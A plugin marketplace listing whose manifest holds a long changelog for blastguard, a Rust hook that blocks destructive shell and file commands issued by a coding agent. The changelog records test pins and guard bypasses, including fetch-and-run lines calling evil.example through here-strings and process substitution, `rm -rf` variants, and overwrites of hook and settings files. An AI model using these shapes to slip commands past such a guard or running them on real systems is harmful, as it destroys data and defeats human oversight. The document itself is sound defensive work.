`harness_core::boundary::read_to_string`, which already draws the one distinction `lookup` turns on -- `Known(None)` is absence (`NotFound` alone) and every other kind, `PermissionDenied` included, is `Undetermined` -- rather than re-pinning the baseline. Ratchet back to 48, floor held. Also closed a vacuity in the memory's own test: `approved_entries()` returned `Vec::new()` on ANY `read_dir` error, so control (iv)'s `assert!(...is_empty())` could pass for the wrong reason -- the empty-collection fallback `fail-open-guard` names, inside the test whose job is to not be vacuous. Absence alone is now empty; any other failure panics. No verdict changed. v0.2.53: an `Ask` a human already answered is no longer asked again. New `approve` module + a `PostToolUse` half (`blastguard record-approval`): `PreToolUse` stashes a PENDING fingerprint of the effect it is asking about, and the tool actually RUNNING promotes it to an approval -- a denied call produces no `PostToolUse`, and a refused ask never runs, so execution IS the evidence a human said yes, which a `PreToolUse` hook can never observe for itself. The fingerprint is the EFFECT, never the script: the whitespace-normalised command text (so changed PARAMETERS are a different key -- `chmod -R 755 sub` approved says nothing about `chmod -R 777 sub`), plus every token's RESOLVED real path (so re-pointing a symlink after approval moves the key instead of inheriting it), plus each resolved target's CONTENT HASH (so a target changed under a standing approval is re-judged). Only `Ask` -> `Allow`: `Deny` is structurally out of reach, since the downgrade lives in the single `Decision::Ask` arm. An approval is only COMPUTABLE when every token lands strictly `Inside` a safe root, so an effect reaching outside the project is not \"approved with caveats\" -- it is not representable in the store. Every unknown resolves to no-approval, i.e. the ask stands: an expansion or quoting the whitespace tokeniser cannot faithfully split, an unprobeable target, an unreadable store, an entry that does not parse or does not name the fingerprint it is filed under, and an empty store (first use). Nine end-to-end anti-vacuity controls in `tests/approval_memory.rs`, observed RED first: four failed for exactly the four \"the memory works\" assertions (second run does not ask; a different store asks; changed parameters ask; changed target content asks) and the reason a `TempDir` is not used is written down -- `/tmp` is a safe ROOT, so a project under it has no outside. Why this exists: `taintguard` was retired by user ruling on 2026-08-24 for asking about ordinary work, and an unanswerable-ask gate teaches its operator to stop reading the question. v0.2.52: comment-only. The launcher (`bin/blastguard`) and `tests/launcher_missing_binary.rs` both contrasted this crate's single-entrypoint shape with \"taintguard/ctxrot\"'s gate/mark/clear split; taintguard was removed from the repo on 2026-08-24 by user ruling, so the comparison now names ctxrot alone. No logic change, no change to any verdict. v0.2.50: doc-only — records what the 0.2.44→0.2.49 work actually achieved, measured, and records the method, because `blastguard retro` CANNOT measure it. `retro` reads history: the verdicts already written into the transcripts. Re-running it after a decision arm changes measures nothing about the change. Seeing the effect requires feeding each recorded command back through the new binary — and NOT from `--list` output, because `--list` squeezes whitespace while NEWLINES ARE SEGMENT SEPARATORS to the resolver under test: a squeezed `BIN=x` + newline + `cd \"$SB\"` becomes `BIN=x cd \"$SB\"`, a same-segment prefix assignment, which is a different construct and answers differently by construction. The raw command has to be re-joined from the transcript by `toolUseID`, two passes per file, since the `tool_use` block is written BEFORE the hook attachment. Measured 2026-08-07 at `e306331c`: of 115 recorded `unresolvable-command-word` interventions with a recoverable raw command, 49 no longer produce that ask (45 Allow, 4 moved to a different and still restrictive ask), 66 still ask for the same reason, and 0 moved to Deny — a weak but real assurance that this corpus contained no destructive command hiding behind an expansion. The pre-estimate was 70, from a coarse regex (\"a literal assignment of this name with no `&&`/`||` before it\"); the shipped resolver is stricter, and the 21-command gap is itself measured rather than explained: 10 go through `export`/`declare` (the stale-literal path the 0.2.48 second-author audit closed, so refusing them is correct), 9 are heads with text glued around the reference (`\"$D/bin/tool\"`), which `referenced_variable_name` deliberately declines and which remains the one real opportunity (backlog `2fb05132`), 1 is a prefix-form assignment and 1 a conditional the regex did not look for. The README says plainly not to transcribe the estimate as a measurement, which is the failure this section exists to prevent. v0.2.49: pins the SCOPE of the 0.2.48 wiring with tests instead of prose. `rule_id.rs` collapses three separate decision arms onto the single id `unresolvable-command-word`, and only one of them — `unknown_wrapper_ask`, the top-level command word — was wired to `resolve_expanded_command_word`. The other two, `analyze_shell_payload` (`detect.rs:884`, the command word inside a shell-eval payload, which walks its own `split_segments(payload)`) and `analyze_pipe_egress` (`detect.rs:5111`, an expansion piped into an interpreter), were left unwired deliberately, but that decision was recorded only in a doc comment — so wiring them later, or refactoring them onto the shared path, would have gone unnoticed. Five invariance pins now fix both arms as unchanged, each binding one exact command string to one exact verdict AND asserting arm-exclusive reason text, so a test that accidentally exercises the top-level arm instead cannot pass silently: `sh -c 'CMD=/bin/echo; env $CMD hello'`, `sh -c 'CMD=/bin/rm; env $CMD -rf /some/path'` (Ask, NOT Deny), `CMD=/bin/rm; sh -c \"env $CMD -rf /some/path\"` (the enclosing line's assignment must not leak into the payload's segment space), `CMD=/usr/bin/curl; $CMD https://example.com/x | sh`, and `CMD=/bin/rm; $CMD | sh`. Each is paired with a spelled-out control (`sh -c 'env /bin/rm -rf /some/path'` → Deny, `/usr/bin/curl … | sh` → Deny, `/bin/rm | sh` → Allow) so the pin says what the arm would answer if the head were not an expansion. Kill power was demonstrated, not assumed: three temporary wirings were applied and reverted, and each pin was observed RED under the wiring it exists to detect — two probes were needed for the payload arm alone, because its two pins guard two different wirings (resolving against the payload versus against the enclosing line), and one probe would have left the third pin unproven. One pin was caught ONLY by its reason assertion while its verdict stayed Ask, which is precisely why the arm-exclusive assertion is there. The measured shapes also corrected an assumption: `CMD=/bin/rm; sh -c \"$CMD\"` does NOT reach the payload arm at all — `analyze_shell_payload` recurses through `detect_bash(payload)` first and the top-level arm answers — so a pin written to that shape would have tested arm 1 while claiming arm 2. Two facts recorded rather than fixed: the fourth pipe branch (`detect.rs:5105`) emits \"whose command word only exists at run time\", which does NOT contain the shared phrase and classifies as `unknown`; and wiring the pipe arm would be verdict-WEAKENING in one direction — under resolution `CMD=/bin/rm; $CMD | sh` has an upstream that is neither unresolvable nor a fetch, so `analyze_pipe_egress` stops answering and the line reaches Allow, where it Asks today. v0.2.48: an ADVERSARIAL SECOND AUTHOR (CLAUDE.md §2(a) — the author of a fix must not be the sole author of its tests) attacked v0.2.47's expansion-valued command-word resolver and found 11 fail-opens, every one observed RED against 0.2.47 before being fixed, and every expectation checked against real `bash -c` output rather than against a reading of the code. Root cause A, a STALE literal rather than a missing one: the reaching-assignment scan skipped past any segment that was not a pure assignment list, which is harmless only when the line assigns the name nowhere else — with a second assignment present the resolver kept the FIRST value and reported it as the program. So `BIN=/bin/echo; export BIN=/bin/rm; $BIN -rf /path` resolved to `/bin/echo` and came out ALLOW while bash really ran `/bin/rm`. Same shape for `declare`/`readonly`/`typeset`/`local`, for the quote-removed spellings (`export \"BIN=/bin/rm\"`, `export 'BIN'=/bin/rm`), for an assignment carrying a trailing comment, for a rebinding inside a brace group, a compound command, or a function body, for a `for` loop control variable, for `eval`/`source`/`.`, for `unset`, for `read`/`printf -v`, and for the append form `BIN+=/rm`. This also contradicted the resolver's own doc comment, which claimed `export NAME=value` was ignored and left the answer at `NoReachingAssignment`; the comment was wrong about its own code and is rewritten rather than kept. Root cause B: a HERE-DOCUMENT body was read as code, so `BIN=/bin/rm` + `cat <<EOF` / `BIN=/bin/echo` / `EOF` + `$BIN -rf /path` took the body line — data bash only prints — as the winning assignment and allowed a real `rm`. Root cause C: `BIN=(/bin/rm)` is an array, and `unquote_literal_value` handed back the text `(/bin/rm)`, whose basename `rm)` matches no rule and fell to the catch-all Allow. Root cause D: the substitutive re-judge DROPPED the working directory, so `cd .githooks; BIN=/bin/rm; $BIN pre-commit` allowed what `cd .githooks; rm pre-commit` denies — resolving the head made the verdict WEAKER than not resolving it. That arm now refuses (new rule id `resolved-head-lost-cwd`, kept separate from `unresolvable-command-word` so `retro` can count it) whenever a resolution gains a relative operand that `verb_targets` has an opinion about and an earlier `cd`/`pushd` moved the tree; a Deny still wins, since it was reached on strictly less information than the real command carries. The narrowing matters: the first spelling of this fix broke the corpus shape that is 70 of the 115 measured interventions, and `condukt` is not a verb `verb_targets` knows, so that shape is untouched. Five INVARIANCE PINS were added alongside and are labelled as such rather than presented as finds — they passed immediately, and three of them caught the fixes over-reaching. Known residual, reported and deliberately NOT pinned as expected behaviour: a call to a shell function defined off the line (`BIN=/bin/echo; myfunc; $BIN …`) is textually identical to an external command, which cannot touch the parent shell's variables, so separating them needs knowledge this file does not have. One movement is not towards Deny and is stated plainly: `BIN=(/bin/rm /bin/echo); $BIN …` went deny→ask, because the old Deny was accidental (`basename(\"(/bin/rm\")` is `rm`) and already inconsistent with the spaced spelling, which asked; a uniform Ask is the honest answer for a construct the resolver does not model. v0.2.47: WIRES the v0.2.46 resolver into exactly ONE decision arm — the CA-blastguard-017 head check in `unknown_wrapper_ask` — and closes the conditional-guard hole v0.2.46 shipped as a stated known limit. Measured motivation (2026-08-07, `blastguard retro --project <this repo> --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented, and 70 of them assign the head a LITERAL earlier on the same line, so the program IS readable from the text. The resolution is SUBSTITUTIVE, never a skip: a `CommandWordOrigin::Literal` replaces the expansion token and the rewritten segment goes back through the full rule engine, so `RM=/bin/rm; $RM -rf /path` now reaches the same DENY that `rm -rf /path` does. Merely suppressing the ask on finding a literal would have re-opened CA-blastguard-017 under a new name: the tail this arm goes on to examine is only the ARGUMENTS, and `-rf /path` is a flag and a bare path that does not parse as destructive on its own — which is exactly how the unexamined head reached Allow in the first place. Every way the line FAILS to name the program keeps the pre-existing Ask: no reaching assignment (`$RM -rf /path`), a right-hand side that is itself an expansion (`$(which rm)`, backticks), an assignment only AFTER the use, a same-segment prefix assignment (`RM=/bin/rm $RM …`, since the shell expands the word before applying the prefix), an assignment across a pipe (both stages are subshells), and, new in this version, an assignment whose execution is conditional. `assignment_execution_is_unconditional` now refuses anything standing after a `&&`/`||` OR after a segment that opens a compound command or a subshell (`opens_unmodelled_construct`: a first word of `if`/`then`/`elif`/`else`/`while`/`until`/`for`/`do`/`case`/`select`, or a leading `(`), because a NEWLINE-formatted `if foo` / `BIN=x` / `fi` hands `split_segments` a body segment that is a pure assignment list with ordinary separators on both sides and nothing at all marking it as guarded. That refusal costs 9 of the 115 by measurement and is the correct price: whether the assignment ran is an exit status the text does not contain, and a value that may not have been assigned is not a value the gate may believe. The guard's tests deliberately pin a BENIGN value (`/bin/echo`), because with a destructive value a missing guard surfaces as a Deny — more restrictive, therefore invisible — whereas a benign one exposes it by turning the pre-existing Ask into an Allow. The other two arms that emit this same reason string, `analyze_shell_payload`'s `unresolvable_command_word` and the pipe-egress check, are deliberately NOT wired and keep their Ask byte-for-byte. `cargo test -p blastguard` (246 unit + all integration suites) and `cargo clippy -p blastguard --all-targets` clean; the F→P oracle reports `valid_fp_oracle: true`. v0.2.46: NO BEHAVIOUR CHANGE — adds the pure text analysis that a later change will use to answer whether an expansion-valued command word (`$BIN`, `\"$BIN\"`) is knowable from the line it sits on, and nothing else. Every item is `#[cfg(test)]`, so it is compiled only for the test binary and no decision arm calls it; every verdict blastguard produces is byte-for-byte what 0.2.45 produced. Motivation, measured over this repo's transcript corpus (`blastguard retro --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented — and 80 of them assign the variable a LITERAL value earlier on the same line, so the program IS readable from the text. `resolve_expanded_command_word` answers with a three-valued `CommandWordOrigin` (`Literal` / `NoReachingAssignment` / `AssignedButUnknowable`) rather than an `Option<String>`, because a `None` would conflate 'nothing assigns that name' with 'something assigns it, to text I cannot read' — only `Literal` could ever suppress an Ask. The hard part is which assignments REACH the use, which `split_segments` cannot answer because it discards the separator; a twin `split_segments_with_separators` keeps it, and each separator's behaviour was verified against `bash -c` rather than assumed: `;`/newline/`&&`/`||` reach, `|` and `&` do not (each side is a subshell), a same-segment prefix assignment does not (the shell expands the word BEFORE applying the prefix), and `NAME=value cmd` does not survive its own segment. A reachable but EMPTY value (`X=; $X foo`) resolves to the restrictive side, since the word then vanishes and some later token becomes the program. v0.2.35: doc-only fix — README.ja.md:31-33 claimed `.claude/settings.json` (among other config files) is *always* excluded (allow) from blastguard's destructive-op checks, contradicting `exclude.rs`'s actual precedence: `PROTECTED_GLOBS` (settings.json, hooks.json, hooks/**, .githooks/**, etc. — files that decide which gates/hooks run at all) OUTRANKS `ALLOW_GLOBS` and resolves those paths to unconditional Deny, never to the config-file exemption (backlog 333da6a8). README.ja.md now states the gate-control-file carve-out explicitly. No behavior change. v0.2.34: closes the launcher's (bin/blastguard) genuine fail-open when no per-platform binary is bundled for the host — the old launcher printed a stderr warning and silently `exit 0`'d with no stdout, byte-for-byte indistinguishable downstream from a real Allow verdict (backlog 2ec9d740; the exact gap v0.2.33's doc fix had only documented, not closed). The launcher now emits a PreToolUse hook-JSON verdict on the missing-binary path, mirroring `crate::interactive::ask_available`'s env-var resolution exactly: `BLASTGUARD_ASK=never` forces deny, `=always` forces ask, and `auto`/unset asks only when `CLAUDECODE=1` AND `CLAUDE_CODE_ENTRYPOINT=cli` (the one measured affirmatively-interactive shape) and denies otherwise — never a silent allow in any case. New `tests/launcher_missing_binary.rs` (5 tests) runs the real shell launcher as a subprocess against a binary-less tempdir with fully-controlled env, observed RED (empty stdout / unparseable JSON) against the pre-fix launcher before the change and GREEN after; `cargo test -p blastguard` (190 unit tests + all integration suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.33: doc-only fix — README.md/README.ja.md described panic/undetermined handling with a blanket \"never breaks a turn\" framing that conflated \"stays silent (allow)\" with \"resolved by catch_unwind to deny\", and understated the launcher's (bin/blastguard) real fail-open when no per-platform binary is bundled (warns to stderr, exits 0, no analyser runs at all). Docs now state the actual Decision::{Allow,Deny,Ask} resolution: empty/invalid input and unmatched tools are determined-nothing-to-judge (silent allow); an internal panic is undetermined and resolves to Deny via catch_unwind in analyse(); a missing bundled binary is a separate, genuine fail-open gap since no analyser exists to resolve anything in that case. No behavior change; see crates/blastguard/src/main.rs and crates/blastguard/bin/blastguard for the code these docs now match. v0.2.32: extends the high-blast Ask tier's category (A) — a `git push` refspec argument whose SOURCE side (the part before the first `:`, or the whole token if there is no `:`) begins with a literal `+` (`origin +main`, `origin +refs/heads/x:refs/heads/x`) now Asks exactly like `--force`/`-f`/`--force-with-lease`, since that `+` is git's own pre-flag force-refspec syntax and forces the update of that one ref identically. New `refspec_source_is_force` only inspects non-flag tokens, so `-u`/`--set-upstream` and its operand, a plain remote/branch/tag name, and a non-force colon refspec (`HEAD:main`, `src:dst`, no `+`) all stay silently Allow — verified by a dedicated anti-vacuity test. New cases in `tests/high_blast_tier.rs` (RED observed against a stashed pre-fix `detect.rs` via `tdd red`, GREEN via `tdd green`, `tdd oracle` reports `valid_fp_oracle: true`) cover the ask/deny-hardening shapes, the anti-vacuity allow-list, and non-regression of the existing flag-force/category-B/category-C arms; `cargo test -p blastguard` (all suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.31: adds a CONSERVATIVE high-blast-radius Ask tier for novel destructive/irreversible Bash shapes the existing deny-list has no rule for — folded into `detect_bash` right before the per-command accumulator's Allow fallthrough, so any pre-existing Deny (protected path, egress, fork bomb, recursive rm, find -delete/-exec rm) still outranks it (Deny > Ask > Allow). Three narrow, individually-MEASURED gaps: (A) `git push` carrying a force flag (`--force`/`-f`/`--force-with-lease[=…]`) — `analyze_git`'s `match` had no `\"push\"` arm at all, so a history-rewriting force-push fell to the `_ => Allow` catch-all; a normal (non-force) push is unaffected. (B) `curl`/`wget` uploading local file content (`-d @file`/`--data-binary @file`/`-F name=@file`/`-T`/`--upload-file`, the exact shape the pre-existing `fetch_exfil_upload` already denies) to a URL with NO literal `://` scheme — curl/wget both default a bare `host/path` operand to `http://`, so the upload still happens, but the pre-existing rule's own scheme gate never even looks at the flags in that case; `upload_flag_operand` is factored out of `fetch_exfil_upload` so both the scheme-present Deny and the scheme-absent Ask share one flag-detection path. (C) a plain, non-recursive `rm`/`unlink` of a single operand that climbs OUT of the tree via a leading `../` with no preceding `cd`/`pushd` to explain where it lands — judged on the ALREADY cwd-resolved segment `detect_bash`'s existing per-segment loop produces (not a fresh top-level scan), so a `cd` that lexically resolves the `..` back to an ordinary place (`cd .githooks && rm ../src/build.o`) correctly stays Allow, matching a pre-existing pinned test for that exact shape. Measured, not assumed: `rm -rf`/wildcard/`find -delete`/`find -exec rm` needed no new rule at all — they are already an UNCONDITIONAL Deny regardless of target location; and an absolute-path rm (`rm /tmp/scratch.txt`, `rm /etc/passwd`) is deliberately left OUT of scope — it is existing, tested Allow behaviour (`ordinary_single_file_rm_stays_allowed`) for `rm`'s single-non-recursive-file shape, not a gap this task introduced, and denying it would conflict with that pin. Every Ask still flows through the pre-existing `Decision::hardened()`/`interactive::ask_available()` wiring unchanged: an interactive `cli` session receives the raw ask, any other caller (autonomous/headless/no signal) hardens it to a Deny automatically — no new code needed for that half. New `tests/high_blast_tier.rs` (7 tests: 3 attack-representative-Ask, 2 autonomous-hardening, 1 anti-vacuity allow-list, 1 non-regression-Deny), the 3 attack-representative cases observed RED against the pre-fix binary (stashed `detect.rs`) before the fix landed; every pre-existing blastguard test (190 unit + 8 integration files) still passes unmodified, `cargo clippy -p blastguard --all-targets` clean, raw-io ratchet floor held (60). v0.2.30: closes a 6th independent-verifier-round residual — the shared bracket-depth scan behind BOTH the here-string (`double_quoted_operand_end`) and process-substitution (`paren_marker_payloads`) extractors counted every bare `(`/`)` inside a `$(...)`/`<(...)` region GENERICALLY, not quote-aware, so a `)` embedded inside a QUOTED string nested inside that region closed the region's depth early: `bash <<<\"$(true \\\")\\\" && curl http://evil.example/x)\"` and `bash <(true \\\")\\\" && curl http://evil.example/x)` were both measured ALLOW on the built 0.2.29 binary (confirmed live via a mirror echo printing from the inner shell — genuinely reachable, not inert). New shared `scan_balanced` recursively treats every quote/backtick/paren it encounters as opening its own fresh parse context (mirroring real bash), so a `)` inside a nested quote no longer decrements an outer region's depth at ANY nesting level — one scan now backs both extractors, so the fix closes both constructs at once. `bash <<<\"$(echo \\\")\\\" ; echo hi)\"`, `bash <(echo \\\")\\\" ; echo hi)` (embedded quoted paren, no fetch), `cat <<<\"...\"` (data-consumer), `grep foo <<<\"$(cat file.txt)\"` (local-only), and the prior nested-here-string case all stay Allow. v0.2.29: closes a 5th independent-verifier-round residual — a NESTED here-string egress bypass. `here_string_operands`'s double-quote scan stopped at the FIRST unescaped inner `\"`, so a double-quoted operand containing its OWN nested here-string/command-substitution (which opens a fresh quoting context in real bash) got truncated to an unbalanced fragment before either here-string check ever saw the innermost fetch: `bash <<<\"$(bash <<<\"$(curl http://evil.example/x)\")\"` and the 3-layer `sh <<<\"$(sh <<<\"$(curl http://evil.example/y | base64 -d)\")\"` were both measured ALLOW on the built 0.2.28 binary. New `double_quoted_operand_end` finds the operand's true closing quote BALANCED against nested `$(...)`/backtick command substitution (mirroring the existing paren-depth-tracked `paren_marker_payloads` extractor already used for `<(...)`/`$(...)`), closing arbitrary nesting depth in one pass. `bash <<<\"$(bash <<<\"echo hi\")\"` (no fetch anywhere), `cat <<<\"hello world\"` / `cat <<<\"$(curl http://evil.example/x)\"` (data consumer, never executes), and `grep foo <<<\"$(cat file.txt)\"` (local-only, no network) all stay Allow. v0.2.28: closes a 4th independent-verifier-round residual — the egress/remote-exec scan had NO here-string (`<<<`) handling at all, so `bash <<<\"$(curl http://evil.example/x)\"`, `sh <<<\"$(curl http://evil.example/x | base64 -d)\"`, and the backtick-quoted `bash <<<\"`curl http://evil.example/z`\"` were all measured ALLOW on the built 0.2.27 binary — `bash`/`sh` read a `<<<` operand as their OWN stdin/script, so fetched bytes delivered that way execute unchecked, exactly like `bash <(curl evil)`. New `analyze_here_string_egress` mirrors `analyze_process_substitution_egress`'s two-check shape: (A) when the outer command is a shell/interpreter/`source`/`.`, the operand is scanned via the existing `scan_body_for_fetch_or_decode` recursion REGARDLESS of the operand's quote kind (a here-string's bytes are re-parsed as script by the inner interpreter no matter how the outer line quoted them); (B) independent of the outer command's identity, a `$(...)`/backtick command substitution nested in a double-quoted-or-bare operand is evaluated by the OUTER shell while building the operand's value, so `cat <<<\"$(curl http://evil.example/y | sh)\"` denies via the existing `analyze_pipe_egress` even though `cat` itself never executes anything (gated on `!is_single_quoted`, since a single-quoted operand suppresses that expansion). A companion fix, `split_segments_paren_aware`, closes a bug this residual exposed in the SHARED `scan_body_for_fetch_or_decode` recursion: a body whose entire text is an unquoted `$(...)` span with a top-level `|` inside it (a here-string operand with its enclosing quote already stripped) was being split apart mid-construct by the quote-only `split_segments`, hiding the fetch from both the direct-word check and the nested-payload recursion. `bash <<<\"echo hi\"` (benign script), `cat <<<\"hello world\"` (data consumer, not a script reader), `grep foo <<<\"$(cat file.txt)\"` (local substitution, no egress), and `cat <<<\"$(curl http://evil.example/x)\"` (a fetch that is never executed, only printed) all stay Allow. v0.2.18: closes the four round-2 adversarial-verifier bypasses of the protected-path rule. (1) The protected glob set is now matched CASE-INSENSITIVELY (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC` are the same file on a case-insensitive filesystem); the ALLOW set stays case-sensitive on purpose, since folding it would exempt more rather than deny more. (2) `exclude::normalize` collapses `//` and `/./`, which the kernel already treats as one separator. (3) New `cp`/`mv`/`install`/`ln` and `sed -i` arms: the dispatch only had DELETE/TRUNCATE rules, so overwriting a protected file by copying onto it was unclassified — the destination is checked in all three shapes (`SRC DEST`, `-t DIR SRC…`, `SRC… DIR/`), sources are ignored so ordinary backups stay Allow. (4) `git -c core.hooksPath=… <subcommand>` (and the glued `-ccore.hooksPath=`, `--config-env` forms) is denied like `git config core.hooksPath`; `git_subcommand_index` already skipped past those values, nothing had read them. Ordinary `cp a.txt b.txt` / `mv` / `sed -i` on source files / `git -c user.name=x` stay Allow. v0.2.17: round-2 adversarial-verifier RED tests for the v0.2.15 protected-path fix — pins 4 confirmed bypasses that still reach protected files as Allow: (1) case-variant paths (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC`, …) since exclude.rs does no case-folding on a case-insensitive filesystem; (2) `//`-doubled paths (`.claude//settings.json`) since normalize() never collapses `//`; (3) `cp`/`mv`/`sed -i`/`install` onto a protected path, since detect.rs's command dispatch has no arm for any of them; (4) `git -c core.hooksPath=... <subcommand>`, since only the `git config` subcommand arm inspects that key, not the global `-c` option. All in `detect.rs`'s test module; no production code change. Two narrower findings from writing these tests: `.githooks/PRE-COMMIT` (uppercase basename, lowercase dir) and 3 of 4 `//`-doubled variants (all but the bare `.claude//settings.json` form) already classify to Deny today, because they still match a `**/`-prefixed glob alternative or a wildcard directory component regardless of the exact bypass shape probed — narrower than initially assumed, not a full class fix. v0.2.16: test-only follow-up to v0.2.15's protected-path fix — the independent test author's stale integration mirror (`tests/integration.rs` `config_file_edit_is_allowed_silently`, which pinned the OLD Edit-to-`.claude/settings.json`-is-Allow-and-silent behavior) is renamed to `config_file_edit_to_protected_path_is_denied` and now asserts Deny + surfaced; `rule_id.rs`'s `every_detect_deny_path_maps_to_a_known_rule_id` gained cases for the `protected-path` and `git-config-hookspath` rule ids (Write/Edit/truncating-redirect/append-redirect to a protected path, and `git config core.hooksPath`), which were added in v0.2.15 but not yet exercised by that completeness test. No production code change. v0.2.15: protected gate/config paths are now CLASSIFIED instead of auto-Allowed. `exclude::is_protected_path` names the files that decide whether the gates run at all (`.claude/settings.json` / `settings.local.json` / `hooks.json` / `.claude/hooks/**`, `.githooks/**`, `.git/hooks/**`, shell rc files, and the gate-config tomls `deny.toml`/`donegate.toml`/`specguard.toml`/`tdd.toml`/…), and it is checked BEFORE the `is_config_file` allowlist that used to short-circuit them to Allow. Write, Edit/MultiEdit/NotebookEdit (previously ALWAYS Allow, regardless of path), truncating redirects and APPEND redirects (`>>`, previously skipped as non-truncating) all resolve to Deny on such a target, and `git config core.hooksPath` (a one-command swap of every git hook) is denied unless a read-only flag is present. The extension-wide `*.toml` allowance is deliberately kept, so an ordinary `Cargo.toml` write stays Allow; new rule ids `protected-path` and `git-config-hookspath` keep the class visible to overwatch. v0.2.14: internal-only refactor — `detect.rs`'s `VerdictAcc` (the `Deny > Ask > Allow` sub-analysis combinator) now accumulates `harness_core::verdict::Verdict` internally and ranks via the new shared `Verdict::worst_of` combinator, translating back to `Decision` at the boundary (`decision_to_verdict`/`verdict_to_decision`). The public `Decision` enum and its methods (`is_blocking`/`is_deny`/`is_ask`/`hardened`) are byte-for-byte unchanged, and every pre-existing test passes unmodified; new tests pin `VerdictAcc`'s priority ordering directly. Kills a hand-rolled reinvention of the same three-valued-verdict priority already shared by propguard/reviewgate. No behavior change. v0.2.12: documented backlog cd99fa2c judgment for blastguard:code-interpreter-inline-eval (README.ja.md) with a concrete example observed live in this session — a purely read-only `python3 -c` invocation (parsing a JSONL transcript with json.loads and printing matches) was denied because is_inline_eval_flag does not inspect payload contents. Judged intentional, same D1-class false-positive tradeoff as truncating-redirect: no reliable syntactic way to prove a `-c`/`-e`/`-r` payload is read-only (os.system/eval/obfuscated calls can hide in the same string), so no code change. Workaround remains jq/grep or writing a script file and running it with no inline-eval flag. v0.2.11: fixed a genuine false-positive in redirect_targets (crates/blastguard/src/detect.rs) found while investigating backlog ba72dc46 — the target-token scanner did not treat `)` as a terminator, so a redirect inside a command substitution (`$(cmd 2>/dev/null)`) had its target read as `/dev/null)` instead of `/dev/null`, failing redirect_target_is_safe's exact match and denying a command that touches no file at all. `)` is now a token terminator alongside whitespace/`;`/`|`/`&`/`>`; a control test confirms a real truncating redirect immediately followed by `)` in prose is still denied. v0.2.10: documented backlog ba72dc46/cd99fa2c findings (README.ja.md) — the REMAINING truncating-redirect denies (scratchpad/tmp writes) and all code-interpreter-inline-eval denies are intentional design, not fail-opens; no code change for those. v0.1.21: closed CONFIRMED Continuous-Audit DENY-gap CA-blastguard-07 — git global options that take a separate-token value (`git -C DIR reset --hard`, `git -c user.name=x clean -fd`, `git --git-dir PATH checkout --force`, `git -C DIR stash clear`) no longer misread that value as the subcommand, so every git deny fires instead of falling through to Allow (fail-open). v0.1.19: closed 2 CONFIRMED Continuous-Audit DENY-gaps (CA-blastguard-04/05) — the combined stdout+stderr truncating redirect `&>` (and no-space `&>target`) is now denied as a truncating overwrite (the append form `&>>` stays allowed), and `git restore <path>` / `git restore .` is now denied as a working-tree discard consistent with `git checkout -- .` (`git restore --staged <path>` stays allowed). v0.1.18: closed 5 CONFIRMED Continuous-Audit fail-opens (CA-blastguard-006..010) — a bare top-level interpreter invocation with an inline-eval flag (e.g. `python3 -c ...` with no `find` wrapper) is now denied, not just the `find -exec`/`-ok`-wrapped form; stacked short flags (`-ic`) and versioned interpreter basenames (`python3.12`) are now recognized; `tee FILE` (no `-a`) is now denied as a truncating overwrite; and denial reasons for this whole class now map to a stable rule id instead of \"unknown\". A PreToolUse guard for Claude Code: inspects Bash commands and file operations and denies the project-destroying ones — recursive/wildcard rm, git reset --hard, git clean -fdx, truncate/shred/mkfs, dd of=, recursive chmod/chown, find -delete, and single-> overwrites — while exempting repo config files. Subscription-native (one hook + bundled Rust binary, no API key).",
"author": {
"name": "yukineko"
},
"keywords": [
"hooks",
"safety",
"guard",
"pretooluse",
"rust"
]
}For maintainers
If you maintain this plugin, link to this source-backed listing from your README so users can review its manifest and indexed components.
[blastguard on Agent Plugins Marketplace](https://pluginsmp.com/plugins/blastguard)